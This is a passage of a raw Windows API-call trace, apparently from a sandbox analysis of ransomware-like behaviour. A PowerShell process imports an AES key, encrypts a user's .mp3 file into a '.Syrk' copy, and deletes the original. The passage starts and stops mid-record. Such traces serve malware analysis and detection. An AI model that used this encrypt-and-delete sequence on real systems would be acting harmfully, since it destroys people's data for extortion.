returned 0x0 [0243.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0243.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0243.376] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0243.376] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0243.376] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0243.376] EtwEventActivityIdControl () returned 0x0 [0243.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0243.376] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0243.377] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0243.377] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0243.378] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x373678) returned 1 [0243.380] CryptImportKey (in: hProv=0x373678, pbData=0x2383830*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69180) returned 1 [0243.380] CryptContextAddRef (hProv=0x373678, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.380] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.382] EtwEventActivityIdControl () returned 0x0 [0243.382] EtwEventActivityIdControl () returned 0x0 [0243.382] EtwEventActivityIdControl () returned 0x0 [0243.389] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3")) returned 0x20 [0243.390] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3")) returned 0x20 [0243.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0243.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", lpFilePart=0x0) returned 0x49 [0243.391] EtwEventActivityIdControl () returned 0x0 [0243.391] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.391] EtwEventActivityIdControl () returned 0x0 [0243.391] EtwEventActivityIdControl () returned 0x0 [0243.391] EtwEventActivityIdControl () returned 0x0 [0243.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0243.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", lpFilePart=0x0) returned 0x49 [0243.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0243.395] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0243.395] GetFileType (hFile=0x454) returned 0x1 [0243.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0243.395] GetFileType (hFile=0x454) returned 0x1 [0243.395] EtwEventActivityIdControl () returned 0x0 [0243.396] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.396] EtwEventActivityIdControl () returned 0x0 [0243.396] EtwEventActivityIdControl () returned 0x0 [0243.397] EtwEventActivityIdControl () returned 0x0 [0243.397] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0243.397] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk", lpFilePart=0x0) returned 0x4e [0243.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0243.398] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0243.398] GetFileType (hFile=0x1d4) returned 0x1 [0243.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0243.399] GetFileType (hFile=0x1d4) returned 0x1 [0243.399] EtwEventActivityIdControl () returned 0x0 [0243.399] CryptGenRandom (in: hProv=0x373678, dwLen=0x10, pbBuffer=0x23976cc | out: pbBuffer=0x23976cc) returned 1 [0243.403] CryptContextAddRef (hProv=0x373678, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.403] CryptDuplicateKey (in: hKey=0x5c69180, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c68c00) returned 1 [0243.403] CryptContextAddRef (hProv=0x373678, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.403] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x4, pbData=0x2398a04*=0x1, dwFlags=0x0) returned 1 [0243.403] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x1, pbData=0x23989d0, dwFlags=0x0) returned 1 [0243.403] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.404] EtwEventActivityIdControl () returned 0x0 [0243.404] EtwEventActivityIdControl () returned 0x0 [0243.404] EtwEventActivityIdControl () returned 0x0 [0243.405] EtwEventActivityIdControl () returned 0x0 [0243.405] ReadFile (in: hFile=0x454, lpBuffer=0x239b640, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x239b640*, lpNumberOfBytesRead=0x5a2e7d8*=0x1290b, lpOverlapped=0x0) returned 1 [0243.407] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23af658*, pdwDataLen=0x5a2e7cc*=0x12900, dwBufLen=0x12900 | out: pbData=0x23af658*, pdwDataLen=0x5a2e7cc*=0x12900) returned 1 [0243.408] WriteFile (in: hFile=0x1d4, lpBuffer=0x23977b4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23977b4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0243.409] WriteFile (in: hFile=0x1d4, lpBuffer=0x23b0644*, nNumberOfBytesToWrite=0x11914, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23b0644*, lpNumberOfBytesWritten=0x5a2e7b0*=0x11914, lpOverlapped=0x0) returned 1 [0243.411] ReadFile (in: hFile=0x454, lpBuffer=0x239b640, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x239b640*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0243.411] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23c1f64*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23c1f64*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0243.411] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23c1f80*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23c1f80*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0243.411] WriteFile (in: hFile=0x1d4, lpBuffer=0x23977b4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23977b4*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0243.411] CloseHandle (hObject=0x1d4) returned 1 [0243.415] CloseHandle (hObject=0x454) returned 1 [0243.416] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.416] EtwEventActivityIdControl () returned 0x0 [0243.416] EtwEventActivityIdControl () returned 0x0 [0243.416] EtwEventActivityIdControl () returned 0x0 [0243.423] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3")) returned 0x20 [0243.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0243.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", lpFilePart=0x0) returned 0x49 [0243.427] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0243.427] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0243.427] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0243.427] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0243.428] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0243.428] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0243.428] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0243.428] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0243.429] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0243.429] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0243.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0243.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0243.429] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0243.429] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0243.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0243.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0243.430] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0243.430] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0243.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0243.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0243.430] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0243.430] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0243.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0243.431] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0243.431] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3")) returned 0x20 [0243.431] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0243.431] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", lpFilePart=0x0) returned 0x49 [0243.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0243.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", lpFilePart=0x0) returned 0x49 [0243.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0243.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0243.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", lpFilePart=0x0) returned 0x49 [0243.436] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0243.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0243.436] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0243.436] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0243.436] CoTaskMemFree (pv=0x5c98368) [0243.438] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3")) returned 0x20 [0243.439] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0243.439] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3", lpFilePart=0x0) returned 0x49 [0243.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0243.439] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3"), fInfoLevelId=0x0, lpFileInformation=0x23d1940 | out: lpFileInformation=0x23d1940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe62e5b80, ftCreationTime.dwHighDateTime=0x1d990ad, ftLastAccessTime.dwLowDateTime=0x62caf270, ftLastAccessTime.dwHighDateTime=0x1d99329, ftLastWriteTime.dwLowDateTime=0x62caf270, ftLastWriteTime.dwHighDateTime=0x1d99329, nFileSizeHigh=0x0, nFileSizeLow=0x1290b)) returned 1 [0243.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0243.439] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3")) returned 1 [0243.442] EtwEventActivityIdControl () returned 0x0 [0243.442] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.442] EtwEventActivityIdControl () returned 0x0 [0243.442] EtwEventActivityIdControl () returned 0x0 [0243.442] EtwEventActivityIdControl () returned 0x0 [0243.452] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3.syrk")) returned 0x20 [0243.454] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3.syrk")) returned 0x20 [0243.454] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0243.454] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk", lpFilePart=0x0) returned 0x4e [0243.454] EtwEventActivityIdControl () returned 0x0 [0243.455] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.455] EtwEventActivityIdControl () returned 0x0 [0243.455] EtwEventActivityIdControl () returned 0x0 [0243.455] EtwEventActivityIdControl () returned 0x0 [0243.460] EtwEventActivityIdControl () returned 0x0 [0243.460] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.461] EtwEventActivityIdControl () returned 0x0 [0243.461] EtwEventActivityIdControl () returned 0x0 [0243.461] EtwEventActivityIdControl () returned 0x0 [0243.465] EtwEventActivityIdControl () returned 0x0 [0243.466] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.466] EtwEventActivityIdControl () returned 0x0 [0243.466] EtwEventActivityIdControl () returned 0x0 [0243.466] EtwEventActivityIdControl () returned 0x0 [0243.471] EtwEventActivityIdControl () returned 0x0 [0243.471] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.472] EtwEventActivityIdControl () returned 0x0 [0243.472] EtwEventActivityIdControl () returned 0x0 [0243.472] EtwEventActivityIdControl () returned 0x0 [0243.477] EtwEventActivityIdControl () returned 0x0 [0243.477] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.478] EtwEventActivityIdControl () returned 0x0 [0243.478] EtwEventActivityIdControl () returned 0x0 [0243.478] EtwEventActivityIdControl () returned 0x0 [0243.482] EtwEventActivityIdControl () returned 0x0 [0243.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0243.488] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\I82Ix5OTQ989c-Uh2jWL.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\i82ix5otq989c-uh2jwl.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23def58 | out: lpFileInformation=0x23def58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9f970, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xcc9f970, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xccc5ad0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x12924)) returned 1 [0243.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0243.490] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0243.492] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0243.492] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: 